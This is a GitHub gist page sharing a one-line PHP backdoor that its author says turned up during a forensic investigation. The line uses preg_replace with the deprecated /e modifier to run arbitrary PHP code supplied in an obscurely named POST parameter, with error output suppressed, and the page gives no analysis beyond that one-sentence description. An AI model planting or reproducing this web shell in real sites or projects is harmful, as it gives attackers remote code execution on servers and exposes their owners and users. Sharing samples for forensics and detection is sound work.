Skip to content

Instantly share code, notes, and snippets.

@jonaslejon

jonaslejon/php-preg-replace-backdoor.php

Created February 10, 2016 20:11
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jonaslejon/2aea01c5ae577d4e3cf8 to your computer and use it in GitHub Desktop.
Save jonaslejon/2aea01c5ae577d4e3cf8 to your computer and use it in GitHub Desktop.
Download ZIP
Short PHP backdoor using preg_replace. Found during forensic investigation
Raw
php-preg-replace-backdoor.php
<?php @preg_replace('/(.*)/e', @$_POST['cgrycynqatjstuh'], '');
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment